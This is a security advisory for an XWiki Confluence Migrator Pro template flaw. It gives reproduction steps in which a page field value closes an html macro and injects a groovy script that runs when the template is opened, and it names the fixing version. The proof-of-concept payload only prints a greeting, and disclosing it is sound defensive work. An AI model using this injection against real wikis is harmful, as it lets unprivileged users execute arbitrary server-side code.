Impact

A user that doesn't have programming rights can execute arbitrary code when creating a page using the Migration Page template.
A possible attack vector is the following:

• Create a page and add the following content:

confluencepro.job.question.advanced.input={{/html}} {{async async="true" cached="false" context="doc.reference"}}{{groovy}}println("hello from groovy!"){{/groovy}}{{/async}}

• Use the object editor to add an object of type XWiki.TranslationDocumentClass with scope USER.
• Access an unexisting page using the MigrationTemplate

http://localhost:8080/xwiki/bin/edit/Page123?template=ConfluenceMigratorPro.Code.MigrationTemplate

It is expected that {{/html}} {{async async="true" cached="false" context="doc.reference"}}{{groovy}}println("hello from groovy!"){{/groovy}}{{/async}} will be present on the page, however, hello from groovy will be printed.

Patches

The issue will be fixed as part of v1.2. The fix was added with commit 35cef22

Workarounds

There are no known workarounds besides upgrading.

References

No references.